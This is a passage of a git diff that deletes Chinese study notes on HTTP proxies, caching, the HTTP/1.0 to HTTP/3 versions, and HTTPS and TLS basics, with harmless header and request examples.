\344\273\243\347\220\206\345\222\214\347\274\223\345\255\230.md" deleted file mode 100644 index 0d7f4cc1..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTP \344\273\243\347\220\206\345\222\214\347\274\223\345\255\230.md" +++ /dev/null @@ -1,159 +0,0 @@ ---- -date: 2022-07-18 -tag: -- Network -- HTTP ---- - -# HTTP 代理和缓存 - -## HTTP缓存 - -> 同时参照浏览器原理: - - - -## 良心中间商:HTTP的代理服务 - -引入 HTTP 代理后,原来简单的双方通信就变复杂了一些,加入了一个或者多个中间人,但整体上来看,还是一个有顺序关系的链条,而且链条里相邻的两个角色仍然是简单的一对一通信,不会出现越级的情况。 - -![img](https://fs.lwmc.net/uploads/2023/04/1681971074217-202304201411101.webp) - -链条的起点还是客户端(也就是浏览器),中间的角色被称为代理服务器(proxy server),链条的终点被称为源服务器(origin server),意思是数据的“源头”“起源”。 - -### 代理服务 - -“代理”这个词听起来好像很神秘,有点“高大上”的感觉。但其实 HTTP 协议里对它并没有什么特别的描述,它就是在客户端和服务器原本的通信链路中插入的一个中间环节,也是一台服务器,但提供的是“代理服务”。 - -**所谓的“代理服务”就是指服务本身不生产内容,而是处于中间位置转发上下游的请求和响应,具有双重身份:**面向下游的用户时,表现为服务器,代表源服务器响应客户端的请求;而面向上游的源服务器时,又表现为客户端,代表客户端发送请求。 - -代理有很多的种类,例如匿名代理、透明代理、正向代理和反向代理。 - -实际工作中最常见的反向代理,它在传输链路中更靠近源服务器,为源服务器提供代理服务。 - -### 代理的作用 - -你也许听过这样一句至理名言:“计算机科学领域里的任何问题,都可以通过引入一个中间层来解决”(在这句话后面还可以再加上一句“如果一个中间层解决不了问题,那就再加一个中间层”)。TCP/IP 协议栈是这样,而代理也是这样。 - -由于代理处在 HTTP 通信过程的中间位置,相应地就对上屏蔽了真实客户端,对下屏蔽了真实服务器,简单的说就是“**欺上瞒下**”。 - -代理最基本的一个功能是代理最基本的一个功能是**负载均衡**。因为在面向客户端时屏蔽了源服务器,客户端看到的只是代理服务器,源服务器究竟有多少台、是哪些 IP 地址都不知道。于是代理服务器就可以掌握请求分发的“大权”,决定由后面的哪台服务器来响应请求。。因为在面向客户端时屏蔽了源服务器,客户端看到的只是代理服务器,源服务器究竟有多少台、是哪些 IP 地址都不知道。于是代理服务器就可以掌握请求分发的“大权”,决定由后面的哪台服务器来响应请求。 - -img - -在负载均衡的同时,代理服务还可以执行更多的功能,比如: - -- **健康检查**:使用“心跳”等机制监控后端服务器,发现有故障就及时“踢出”集群,保证服务高可用; -- **安全防护**:保护被代理的后端服务器,限制 IP 地址或流量,抵御网络攻击和过载; -- **加密卸载**:对外网使用 SSL/TLS 加密通信认证,而在安全的内网不加密,消除加解密成本; -- **数据过滤**:拦截上下行的数据,任意指定策略修改请求或者响应; -- **内容缓存**:暂存、复用服务器响应。 - -### 代理相关头字段 - -代理服务器需要用字段“Via”标明代理的身份。Via 是一个通用字段,请求头或响应头里都可以出现。每当报文经过一个代理节点,代理服务器就会把自身的信息追加到字段的末尾,就像是经手人盖了一个章。如果通信链路中有很多中间代理,就会在 Via 里形成一个链表,这样就可以知道报文究竟走过了多少个环节才到达了目的地。 - -例如下图中有两个代理:proxy1 和 proxy2,客户端发送请求会经过这两个代理,依次添加就是“Via: proxy1, proxy2”,等到服务器返回响应报文的时候就要反过来走,头字段就是“Via: proxy2, proxy1”。 - -![img](https://fs.lwmc.net/uploads/2023/04/1681971089808-202304201411720.webp) - -Via 字段只解决了客户端和源服务器判断是否存在代理的问题,还不能知道对方的真实信息。 - -但服务器的 IP 地址应该是保密的,关系到企业的内网安全,所以一般不会让客户端知道。不过反过来,通常服务器需要知道客户端的真实 IP 地址,方便做访问控制、用户画像、统计分析。可惜的是 HTTP 标准里并没有为此定义头字段,但已经出现了很多“事实上的标准”,最常用的两个头字段是“X-Forwarded-For”和“X-Real-IP”。 - -可惜的是 HTTP 标准里并没有为此定义头字段,但已经出现了很多“事实上的标准”,最常用的两个头字段是**“X-Forwarded-For”和“X-Real-IP”**。 - -**“X-Forwarded-For”的字面意思是“为谁而转发”**,形式上和“Via”差不多,也是每经过一个代理节点就会在字段里追加一个信息。但“Via”追加的是代理主机名(或者域名),而“X-Forwarded-For”追加的是请求方的 IP 地址。所以,在字段里最左边的 IP 地址就是客户端的地址。 - -“X-Real-IP”是另一种获取客户端真实 IP 的手段,它的作用很简单,**就是记录客户端 IP 地址**,没有中间的代理信息,相当于是“X-Forwarded-For”的简化版。如果客户端和源服务器之间只有一个代理,那么这两个字段的值就是相同的。 - -### 代理协议 - -因为通过“X-Forwarded-For”操作代理信息必须要解析 HTTP 报文头,这对于代理来说成本比较高,原本只需要简单地转发消息就好,而现在却必须要费力解析数据再修改数据,会降低代理的转发性能。 - -另一个问题是“X-Forwarded-For”等头必须要修改原始报文,而有些情况下是不允许甚至不可能的(比如使用 HTTPS 通信被加密)。 - -所以就出现了一个专门的“代理协议”(The PROXY protocol),它由知名的代理软件 HAProxy 所定义,也是一个“事实标准”,被广泛采用(注意并不是 RFC)。 - -这一行文本其实非常简单,开头必须是“PROXY”五个大写字母,然后是“TCP4”或者“TCP6”,表示客户端的 IP 地址类型,再后面是请求方地址、应答方地址、请求方端口号、应答方端口号,最后用一个回车换行(\r\n)结束。 - -``` -PROXY TCP4 1.1.1.1 2.2.2.2 55555 80\r\n -GET / HTTP/1.1\r\n -Host: www.xxx.com\r\n -\r\n -``` - -服务器看到这样的报文,只要解析第一行就可以拿到客户端地址,不需要再去理会后面的 HTTP 数据,省了很多事情。不过代理协议并不支持“X-Forwarded-For”的链式地址形式,所以拿到客户端地址后再如何处理就需要代理服务器与后端自行约定。 - -### 小结 - -1. HTTP 代理就是客户端和服务器通信链路中的一个中间环节,为两端提供“代理服务”; - -2. 代理处于中间层,为 HTTP 处理增加了更多的灵活性,可以实现负载均衡、安全防护、数据过滤等功能; -3. 代理服务器需要使用字段“Via”标记自己的身份,多个代理会形成一个列表; -4. 如果想要知道客户端的真实 IP 地址,可以使用字段“X-Forwarded-For”和“X-Real-IP”; -5. 专门的“代理协议”可以在不改动原始报文的情况下传递客户端的真实 IP。课下作业 - -> 你觉得代理有什么缺点?实际应用时如何避免? -> -> 代理会增加链路长度,在代理上做一些复杂的处理。会很耗费性能,增加响应时间。 -> -> 你知道多少反向代理中使用的负载均衡算法?它们有什么优缺点? -> -> 1.随机 -> -> 2.轮询 -> -> 3.一致性hash -> -> 4.最近最少使用 -> -> 5.链接最少 - -## HTTP的缓存代理 - -HTTP 传输链路上,不只是客户端有缓存,服务器上的缓存也是非常有价值的,可以让请求不必走完整个后续处理流程,“就近”获得响应结果。 - -特别是对于那些“读多写少”的数据,例如突发热点新闻、爆款商品的详情页,一秒钟内可能有成千上万次的请求。即使仅仅缓存数秒钟,也能够把巨大的访问流量挡在外面,让 RPS(request per second)降低好几个数量级,减轻应用服务器的并发压力,对性能的改善是非常显著的。 - -**HTTP 的服务器缓存功能主要由代理服务器来实现(即缓存代理)**,而源服务器系统内部虽然也经常有各种缓存(如 Memcache、Redis、Varnish 等),但与 HTTP 没有太多关系,所以这里暂且不说。 - -### 缓存代理服务 - -![img](https://fs.lwmc.net/uploads/2023/04/1681971099699-202304201411620.webp) - -代理服务收到源服务器发来的响应数据后需要做两件事。第一个当然是把报文转发给客户端,而第二个就是把报文存入自己的 Cache 里。 - -下一次再有相同的请求,代理服务器就可以直接发送 304 或者缓存数据,不必再从源服务器那里获取。这样就降低了客户端的等待时间,同时节约了源服务器的网络带宽。 - -说它“即是客户端又是服务器”,是因为它面向源服务器时是客户端,在面向客户端时又是服务器,所以它即可以用客户端的缓存控制策略也可以用服务器端的缓存控制策略,也就是说它可以同时使用各种“Cache-Control”属性。 - -但缓存代理也“即不是客户端又不是服务器”,因为它只是一个数据的“中转站”,并不是真正的数据消费者和生产者,所以还需要有一些新的“Cache-Control”属性来对它做特别的约束。 - -### 源服务器的缓存控制 - -缓存的生存时间可以使用新的“s-maxage”(s 是 share 的意思,注意 maxage 中间没有“-”),只限定在代理上能够存多久,而客户端仍然使用“max-age”。 - -还有一个代理专用的属性“no-transform”。代理有时候会对缓存下来的数据做一些优化,比如把图片生成 png、webp 等几种格式,方便今后的请求处理,而“no-transform”就会禁止这样做,不许“偷偷摸摸搞小动作”。 - -![img](https://fs.lwmc.net/uploads/2023/04/1681971107865-202304201411784.webp) - -### 客户端的缓存控制 - -客户端在 HTTP 缓存体系里要面对的是代理和源服务器,也必须区别对待。 - -![img](https://fs.lwmc.net/uploads/2023/04/1681971116937-202304201411854.webp) - -关于缓存的生存时间,多了两个新属性“max-stale”和“min-fresh” - -**“max-stale”**的意思是如果代理上的缓存过期了也可以接受,但不能过期太多,超过 x 秒也会不要。**“min-fresh”**的意思是缓存必须有效,而且必须在 x 秒后依然有效。 - -有的时候客户端还会发出一个特别的**“only-if-cached”**属性,表示只接受代理缓存的数据,不接受源服务器的响应。如果代理上没有缓存或者缓存过期,就应该给客户端返回一个 504(Gateway Timeout) - -## 小结 - -1. 计算机领域里最常用的性能优化手段是“时空转换”,也就是“时间换空间”或者“空间换时间”,HTTP 缓存属于后者; -2. 缓存代理是增加了缓存功能的代理服务,缓存源服务器的数据,分发给下游的客户端; -3. “Cache-Control”字段也可以控制缓存代理,常用的有“private”“s-maxage”“no-transform”等,同样必须配合“Last-modified”“ETag”等字段才能使用; -4. 缓存代理有时候也会带来负面影响,缓存不良数据,需要及时刷新或删除。 diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTP \347\211\210\346\234\254\346\225\264\345\220\210.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTP \347\211\210\346\234\254\346\225\264\345\220\210.md" deleted file mode 100644 index 9affd968..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTP \347\211\210\346\234\254\346\225\264\345\220\210.md" +++ /dev/null @@ -1,247 +0,0 @@ ---- -date: 2022-09-18 -tag: -- Network ---- - -# HTTP 版本整合 - -## HTTP 1.0 - -随着互联网技术的飞速发展,HTTP协议被使用的越来越广泛,协议本身的局限性已经不能满足互联网功能的多样性。因此,`1996年5月HTTP/1.0诞生`,其内容和功能都大大增加了。对比与HTTP/0.9,新的版本包含了以下功能: - -- 在每个request的GET一行后面添加版本号 -- 在response第一行中添加状态行 -- 在request和response中添加header的概念 -- 在header中添加content-type以此可以传输html之外类型的文件 -- 在header中添加content-encoding来支持不同编码格式文件的传输 -- 引入了POST和HEAD命令 -- 支持长连接(默认短连接) - -``` -GET /index.html HTTP/1.0 -User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) - -200 OK -Date: Tue, 15 Nov 1994 08:12:31 GMT -Server: CERN/3.0 libwww/2.17 -Content-Type: text/html;charset=utf-8 // 类型,编码。 - -A page with an image - - -``` - -### content - -简单的文字页面自然无法满足用户的需求,于是1.0加入了更多的文件类型 - -| 常见Content-Type | | | -| ---------------------- | --------------- | --------------- | -| text/plan | text/html | text/css | -| image/jpeg | image/png | image/svg + xml | -| application/javascript | application/zip | application/pdf | - -也同样可以用在html中 - -```js - -``` - -### Content-encoding - -由于支持任意数据格式的发送,因此可以先把数据进行压缩再发送。HTTP/1.0进入了Content-Encoding来表示数据的压缩方式。 - -- Content-Encoding: gzip。【表示采用 [Lempel-Ziv coding](https://link.juejin.cn?target=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLZ77_and_LZ78%23LZ77) (LZ77) 压缩算法,以及32位CRC校验的编码方式】 -- Content-Encoding: compress。【采用 [Lempel-Ziv-Welch](https://link.juejin.cn?target=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLZW) (LZW) 压缩算法】 -- Content-Encoding: deflate。【采用 [zlib](https://link.juejin.cn?target=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FZlib) 】 - -客户端发送请求带有表明我可以接受`gzip`、`deflate`两种压缩方式 - -``` -Accept-Encoding: gzip, deflate -``` - -服务器在 `Content-Encoding` 响应首部提供了实际采用的压缩模式 - -```js -Content-Encoding: gzip -``` - -## HTTP 1.1 - -仅仅在HTTP/1.0公布后的几个月,HTTP/1.1发布了,到目前为止`HTTP1.1协议都是作为主流的版本`,以至于随后的近10年时间里都没有新的HTTP协议版本发布。 - -对比之前的版本,其主要更新如下::star: - -- 可以重复使用连接(keep-alive),从而节省时间,不再需要多次打开才能显示嵌入在单个原始文档中的资源 -- 添加了Pipeline,这允许在第一个请求的答案完全传输之前发送第二个请求这降低了通信的延迟 -- chunked机制,分块响应 -- 引入了额外的缓存控制机制 -- 引入了内容协商,包括语言、编码和类型,客户端和服务器现在可以就交换哪些内容达成一致 -- 由于[`Host`](https://link.juejin.cn?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FHTTP%2FHeaders%2FHost)标头,从同一 IP 地址托管不同域的能力允许服务器搭配 - -### keep-alive - -由于建立一个连接的过程需要DNS解析过程以及TCP的三次握手,但在同服务器获取资源不断的建立和断开链接需要消耗的资源和时间是巨大的,为了提升连接的效率。 HTTP/1.1的及时出现将长连接加入了标准并作为默认实现,服务器端也按照协议保持客户端的长连接状态,`一个服务端上的多个资源都可以通过这一条连接多个request来获取`。 - -可以在request header中引入如下信息来告知服务器完成一次request请求后不要关闭连接。 - -```js -Connection: keep-alive -``` - -服务器端也会答复一个相同的信息表示连接仍然有效,但是在当时这只是属于程序员的自定义行为,在1.0中没有被纳入标准, 这其中的提升对于通讯之间的效率提升几乎是倍增的, - -这也为管线化方式(pipelining)打下基础。 - -### Pipeline (管线化) - -HTTP/1.1尝试通过HTTP管线化技术来解决性能瓶颈,诞生了pipeline机制,如图从每次response返回结果才能进行下一次request,变为`一次连接上多个http request不需要等待response就可以连续发送`的技术。 - -![image-20220710151407273](https://cdn.yihuiblog.top/images/202207101514360.png) - -> 不幸的是因为HTTP是一个无状态的协议,一个体积很大的或慢response仍然会阻塞后面所有的**请求发送**,每条request无法知道哪条response是返回给他的,服务端只能根据顺序来返回response,这就是`队头阻塞`,这导致主流浏览器上默认下该功能都是关闭状态,在http2.0中会解决这个问题 - -### host头域 - -在 `HTTP1.0` 中认为每台服务器都绑定一个唯一的 `IP` 地址,因此,请求消息中的 `URL` 并没有传递主机名(`hostname`),1.1中新增的host用来处理一个 `IP` 地址上面多个虚拟主机的情况。 - -在请求头域中新增了Host字段,其用来指定服务器的域名。有了Host字段,在同一台服务器上就可以搭建不同的网站了,这也为后来虚拟化的发展建好啦地基。 - -``` -Host: www.alibaba-inc.com -``` - -### cache机制 - -Cache不仅可以提高用户的访问速率,在移动端设备上还可以为用户极大节省流量。因此,在HTTP/1.1中新增了很多与Cache相关的头域并围绕这些头域设计了更灵活、更丰富的Cache机制。 - -Cache机制需要解决的问题包括: - -1. 判断哪些资源可以被Cache及访问访问策略 -2. 在本地判断Cache资源是否已经过期 -3. 向服务端发起问询,查看已过期的Cache资源是否在服务端发生了变化 - -### chunked机制 - -建立好链接之后客户端可以使用该链接发送多个请求,用户通常会通过response header中返回的`Content-Length`来判断服务端返回数据的大小。但随着网络技术的不断发展,越来越多的动态资源被引入进来,这时候服务端就无法在传输之前知道待传递资源的大小,也就无法通过Content-Length来告知用户资源大小。服务器可以一边动态产生资源,一边传递给用户,这种机制称为“分块传输编码”(Chunkded Transfer Encoding),**允许服务端发送给客户端的数据分为多个部分**,此时服务器端需要在header中添加“**Transfer-Encoding: chunked**”头域来替代传统的“Content-Length。 - -```js -Transfer-Encoding: chunked -``` - -### HTTP 缓存机制 - -见文章 [] - -### 新增了五种请求方法 - -**OPTIONS**: 浏览器为确定跨域请求资源的安全做的预请求 - -**PUT**:从客户端向服务器传送的数据取代指定的文档的内容 - -**DELETE** :请求服务器删除指定的页面 - -**TRACE**: 回显服务器收到的请求,主要用于测试或诊断 - -**CONNECT**: HTTP/1.1 协议中预留给能够将连接改为管道方式的代理服务器 - -### 新增一系列的状态码 - -可以参考[状态码大全](https://link.juejin.cn?target=https%3A%2F%2Fcloud.tencent.com%2Fdeveloper%2Farticle%2F1752690) - -### Http1.1缺陷 - -1. 高延迟,带来页面加载速度的降低,(网络延迟问题只要由于队头阻塞,导致宽带无法被充分利用) -2. 无状态特性,带来巨大的Http头部 -3. 明文传输,不安全 -4. 不支持服务器推送消息 - -## HTTP 2 - -由于 HTTPS 在安全方面已经做的非常好了,HTTP 改进的关注点放在了性能方面。对于 HTTP/2 而言,它对于性能的提升主要在于两点: - -- **头部压缩** -- **多路复用** - -当然还有一些颠覆性的功能实现: - -- **设置请求优先级** -- **服务器推送** - -这些重大的提升本质上也是为了解决 HTTP 本身的问题而产生的。接下来我们来看看 HTTP/2 解决了哪些问题,以及解决方式具体是如何的。 - -在 HTTP/1.1 及之前的时代,**请求体**一般会有响应的压缩编码过程,通过`Content-Encoding`头部字段来指定,但你有没有想过头部字段本身的压缩呢?当请求字段非常复杂的时候,尤其对于 GET 请求,请求报文几乎全是请求头,这个时候还是存在非常大的优化空间的。HTTP/2 针对头部字段,也采用了对应的压缩算法——HPACK,对请求头进行压缩。 - -HPACK 算法是专门为 HTTP/2 服务的,它主要的亮点有两个: - -- 首先是在服务器和客户端之间建立哈希表,将用到的字段存放在这张表中,那么在传输的时候对于之前出现过的值,只需要把**索引**(比如0,1,2,...)传给对方即可,对方拿到索引查表就行了。这种**传索引**的方式,可以说让请求头字段得到极大程度的精简和复用。 - -![image-20220710145236084](https://cdn.yihuiblog.top/images/202207101452200.png) - -> HTTP/2 当中废除了起始行的概念,将起始行中的请求方法、URI、状态码转换成了头字段,不过这些字段都有一个":"前缀,用来和其它请求头区分开。 - -- 其次是对于整数和字符串进行**哈夫曼编码**,哈夫曼编码的原理就是先将所有出现的字符建立一张索引表,然后让出现次数多的字符对应的索引尽可能短,传输的时候也是传输这样的**索引序列**,可以达到非常高的压缩率。 - -### 多路复用 - -#### HTTP 队头阻塞 - -我们之前讨论了 HTTP 队头阻塞的问题,其根本原因在于HTTP 基于`请求-响应`的模型,在同一个 TCP 长连接中,前面的请求没有得到响应,后面的请求就会被阻塞。 - -后面我们又讨论到用**并发连接**和**域名分片**的方式来解决这个问题,但这并没有真正从 HTTP 本身的层面解决问题,只是增加了 TCP 连接,分摊风险而已。而且这么做也有弊端,多条 TCP 连接会竞争**有限的带宽**,让真正优先级高的请求不能优先处理。 - -而 HTTP/2 便从 HTTP 协议本身解决了`队头阻塞`问题。注意,这里并不是指的`TCP队头阻塞`,而是`HTTP队头阻塞`,两者并不是一回事。TCP 的队头阻塞是在`数据包`层面,单位是`数据包`,前一个报文没有收到便不会将后面收到的报文上传给 HTTP,而HTTP 的队头阻塞是在 `HTTP 请求-响应`层面,前一个请求没处理完,后面的请求就要阻塞住。两者所在的层次不一样。 - -那么 HTTP/2 如何来解决所谓的队头阻塞呢? - -#### 二进制分帧 - -首先,HTTP/2 认为明文传输对机器而言太麻烦了,不方便计算机的解析,因为对于文本而言会有多义性的字符,比如回车换行到底是内容还是分隔符,在内部需要用到状态机去识别,效率比较低。于是 HTTP/2 干脆把报文全部换成二进制格式,全部传输`01`串,方便了机器的解析。 - -原来`Headers + Body`的报文格式如今被拆分成了一个个二进制的帧,用**Headers帧**存放头部字段,**Data帧**存放请求体数据。分帧之后,服务器看到的不再是一个个完整的 HTTP 请求报文,而是一堆乱序的二进制帧。这些二进制帧不存在先后关系,因此也就不会排队等待,也就没有了 HTTP 的队头阻塞问题。 - -通信双方都可以给对方发送二进制帧,这种二进制帧的**双向传输的序列**,也叫做`流`(Stream)。HTTP/2 用`流`来在一个 TCP 连接上来进行多个数据帧的通信,这就是**多路复用**的概念。 - -可能你会有一个疑问,既然是乱序首发,那最后如何来处理这些乱序的数据帧呢? - -首先要声明的是,所谓的乱序,指的是不同 ID 的 Stream 是乱序的,但同一个 Stream ID 的帧一定是按顺序传输的。二进制帧到达后对方会将 Stream ID 相同的二进制帧组装成完整的**请求报文**和**响应报文**。当然,在二进制帧当中还有其他的一些字段,实现了**优先级**和**流量控制**等功能,我们放到下一节再来介绍。 - -### 服务器推送 - -另外值得一说的是 HTTP/2 的服务器推送(Server Push)。在 HTTP/2 当中,服务器已经不再是完全被动地接收请求,响应请求,它也能新建 stream 来给客户端发送消息,当 TCP 连接建立之后,比如浏览器请求一个 HTML 文件,服务器就可以在返回 HTML 的基础上,将 HTML 中引用到的其他资源文件一起返回给客户端,减少客户端的等待。 - -### 总结 - -当然,HTTP/2 新增那么多的特性,是不是 HTTP 的语法要重新学呢?不需要,HTTP/2 完全兼容之前 HTTP 的语法和语义,如**请求头、URI、状态码、头部字段**都没有改变,完全不用担心。同时,在安全方面,HTTP 也支持 TLS,并且现在主流的浏览器都公开只支持加密的 HTTP/2, 因此你现在能看到的 HTTP/2 也基本上都是跑在 TLS 上面的了。最后放一张分层图给大家参考: - -![image-20220710145611195](https://cdn.yihuiblog.top/images/202207101456278.png) - -## HTTP 3 - -### QUIC 和 HTTP/3 中真正的多路复用 - -现在说到 HTTP/3。HTTP/2 和 HTTP/3 的主要区别在于所使用的传输协议。与之前的 TCP 协议不同,HTTP/3 使用了一个全新的协议 —— [QUIC](https://link.juejin.cn?target=https%3A%2F%2Fwww.rfc-editor.org%2Frfc%2Frfc9000.html)。QUIC 是一个通用的传输协议,解决了 HTTP/2 因为 TCP 而产生的队头阻塞问题(HTTP2 只解决了HTTP应用层请求-响应的队头阻塞问题)。这个协议能让你通过 UDP 创建[一系列带状态的流](https://link.juejin.cn?target=https%3A%2F%2Fquicwg.org%2Fbase-drafts%2Fdraft-ietf-quic-http.html%23name-delegation-to-quic)(这与 TCP 很相似)。 - -> QUIC 传输协议包含流的复用和对每个流的流量控制,这两者与 HTTP/2 中实现的类似。通过在整个连接中提供流级别的可靠性和拥塞控制,比起 TCP 映射,**QUIC 更能提高 HTTP 的性能**。 - -### 为什么 HTTP/3 这么快? - -#### 真正的多路复用 - -HTTP/3 真正的多路复用特性意味着堆栈上的任何地方都不会发生队头阻塞。当你从更远的地理位置请求资源时,丢包的可能性会高出很多,TCP 重新传输的需求也会提高。 - -#### 颠覆局面的 0-RTT - -此外,HTTP/3 也支持 [0-RTT](https://link.juejin.cn?target=https%3A%2F%2Fwww.rfc-editor.org%2Frfc%2Frfc9001.html%23section-4.6-1) QUIC 连接,减少了建立安全 TLS 连接的数据往返次数。 - -> QUIC 中的 0-RTT 功能能让客户端在三次握手完成之前发送应用数据。这个功能通过重用先前连接的参数实现。0-RTT 依赖于客户端记住的重要参数,并向服务器提供 TLS 会话票证(session ticket)以恢复相同的信息。 - -然而,你不应该盲目地启用 0-RTT。基于你的威胁模型,它[可能](https://link.juejin.cn?target=https%3A%2F%2Fwww.rfc-editor.org%2Frfc%2Frfc8446%23section-2.3)[存在一些安全问题](https://link.juejin.cn?target=https%3A%2F%2Fwww.rfc-editor.org%2Frfc%2Frfc9001.html%23name-replay-attacks-with-0-rtt)。 - -> 0-RTT 数据的安全属性弱于其他类型的 TLS 数据。具体来说: -> -> 1. 数据不是前向保密(forward secret)的;数据仅仅只被预共享密钥(pre-shared key,PSK)衍生的密钥加密。 -> 2. 不能保证连接之间不重放(译者注:详情见[重放攻击](https://link.juejin.cn?target=https%3A%2F%2Fbaike.baidu.com%2Fitem%2F%E9%87%8D%E6%94%BE%E6%94%BB%E5%87%BB%2F2229240))。 - diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTPS\344\270\216SSL TLS.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTPS\344\270\216SSL TLS.md" deleted file mode 100644 index 61cc024e..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTPS\344\270\216SSL TLS.md" +++ /dev/null @@ -1,54 +0,0 @@ ---- -date: 2022-05-13 -category: -- Network -- HTTP ---- - -# HTTPS与SSL/TLS - -问什么会有HTTP,因为HTTP不安全,是明文,可伪造。 - -如果通信过程具备了四个特性,就可以认为是“安全”的,这四个特性是:**机密性、完整性,身份认证和不可否认。** - -- **机密性(Secrecy/Confidentiality)**是指对数据的“保密”,只能由可信的人访问,对其他人是不可见的“秘密”,简单来说就是不能让不相关的人看到不该看的东西。 - -- **完整性(Integrity,也叫一致性)**是指数据在传输过程中没有被篡改,不多也不少,“完完整整”地保持着原状。 -- **身份认证(Authentication)**是指确认对方的真实身份,也就是“证明你真的是你”,保证消息只能发送给可信的人。 -- **第四个特性是不可否认(Non-repudiation/Undeniable)**,也叫不可抵赖,意思是不能否认已经发生过的行为,不能“说话不算数”“耍赖皮”。 - -## HTTPS - -HTTPS 名字里的“S”,它把 HTTP 下层的传输协议由 TCP/IP 换成了 SSL/TLS,由“HTTP over TCP/IP”变成了“HTTP over SSL/TLS”,让 HTTP 运行在了安全的 SSL/TLS 协议上,收发报文不再使用 Socket API,而是调用专门的安全接口。 - -![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/50d57e18813e18270747806d5d73f0a3.png) - -所以说,HTTPS 本身并没有什么“惊世骇俗”的本事,全是靠着后面的 SSL/TLS“撑腰”。 - -## SSL/TLS - -**SSL 即安全套接层(Secure Sockets Layer),在 OSI 模型中处于第 5 层(会话层)**,由网景公司于 1994 年发明,有 v2 和 v3 两个版本,而 v1 因为有严重的缺陷从未公开过。 - -SSL 发展到 v3 时已经证明了它自身是一个非常好的安全通信协议,于是互联网工程组 IETF 在 1999 年把它改名为 TLS(传输层安全,Transport Layer Security),正式标准化,版本号从 1.0 重新算起,所以 TLS1.0 实际上就是 SSLv3.1。 - -TLS 由记录协议、握手协议、警告协议、变更密码规范协议、扩展协议等几个子协议组成,综合使用了对称加密、非对称加密、身份认证等许多密码学前沿技术。 - -**浏览器和服务器在使用 TLS 建立连接时需要选择一组恰当的加密算法来实现安全通信,这些算法的组合被称为“密码套件”(cipher suite,也叫加密套件)。** - -![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/5ead57e03f127ea8f244d715186adb24.png) - -## OpenSSL - -说到 TLS,就不能不谈到 OpenSSL,它是一个著名的开源密码学程序库和工具包,几乎支持所有公开的加密算法和协议,已经成为了事实上的标准,许多应用软件都会使用它作为底层库来实现 TLS 功能,包括常用的 Web 服务器 Apache、Nginx 等。 - -OpenSSL 是从另一个开源库 SSLeay 发展出来的,曾经考虑命名为“OpenTLS”,但当时(1998 年)TLS 还未正式确立,而 SSL 早已广为人知,所以最终使用了“OpenSSL”的名字 - -## 小结 - -因为 HTTP 是明文传输,所以不安全,容易被黑客窃听或篡改; - -通信安全必须同时具备机密性、完整性、身份认证和不可否认这四个特性; - -HTTPS 的语法、语义仍然是 HTTP,但把下层的协议由 TCP/IP 换成了 SSL/TLS;SSL/TLS 是信息安全领域中的权威标准,采用多种先进的加密技术保证通信安全; - -OpenSSL 是著名的开源密码学工具包,是 SSL/TLS 的具体实现。 diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTPS\346\200\247\350\203\275\344\274\230\345\214\226.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTPS\346\200\247\350\203\275\344\274\230\345\214\226.md" deleted file mode 100644 index cf453eb8..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTPS\346\200\247\350\203\275\344\274\230\345\214\226.md" +++ /dev/null @@ -1,21 +0,0 @@ ---- -date: 2022-05-13 -category: -- Network -- HTTP ---- - -# HTTPS性能优化 - -HTTPS 连接大致上可以划分为两个部分,**第一个是建立连接时的非对称加密握手,第二个是握手后的对称加密报文传输。** - -由于目前流行的 AES、ChaCha20 性能都很好,还有硬件优化,报文传输的性能损耗可以说是非常地小,小到几乎可以忽略不计了。所以,**通常所说的“HTTPS 连接慢”指的就是刚开始建立连接的那段时间。** - -在 TCP 建连之后,正式数据传输之前,HTTPS 比 HTTP 增加了一个 TLS 握手的步骤,这个步骤最长可以花费两个消息往返,也就是 2-RTT。而且在握手消息的网络耗时之外,还会有其他的一些“隐形”消耗,比如: - -- 产生用于密钥交换的**临时公私钥对**(ECDHE); - -- **验证证书**时访问 CA 获取 CRL 或者 OCSP; - -- **非对称加密解密处理“Pre-Master”。** - diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/TLS1.2\350\277\236\346\216\245\350\277\207\347\250\213\350\247\243\346\236\220.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/TLS1.2\350\277\236\346\216\245\350\277\207\347\250\213\350\247\243\346\236\220.md" deleted file mode 100644 index f8e63da0..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/TLS1.2\350\277\236\346\216\245\350\277\207\347\250\213\350\247\243\346\236\220.md" +++ /dev/null @@ -1,55 +0,0 @@ ---- -date: 2022-05-13 -category: -- Network -- HTTP ---- - -# TLS1.2连接过程解析 - - HTTPS 协议,**它需要再用另外一个“握手”过程,在 TCP 上建立安全连接,之后才是收发 HTTP 报文。** - -## TLS 协议的组成 - -**记录协议(Record Protocol)**规定了 TLS 收发数据的基本单位:记录(record)。它有点像是 TCP 里的 segment,所有的其他子协议都需要通过记录协议发出。但多个记录数据可以在一个 TCP 包里一次性发出,也并不需要像 TCP 那样返回 ACK。 - -**警报协议(Alert Protocol)**的职责是向对方发出警报信息,有点像是 HTTP 协议里的状态码。比如,protocol_version 就是不支持旧版本,bad_certificate 就是证书有问题,收到警报后另一方可以选择继续,也可以立即终止连接 - -**握手协议(Handshake Protocol)**是 TLS 里最复杂的子协议,要比 TCP 的 SYN/ACK 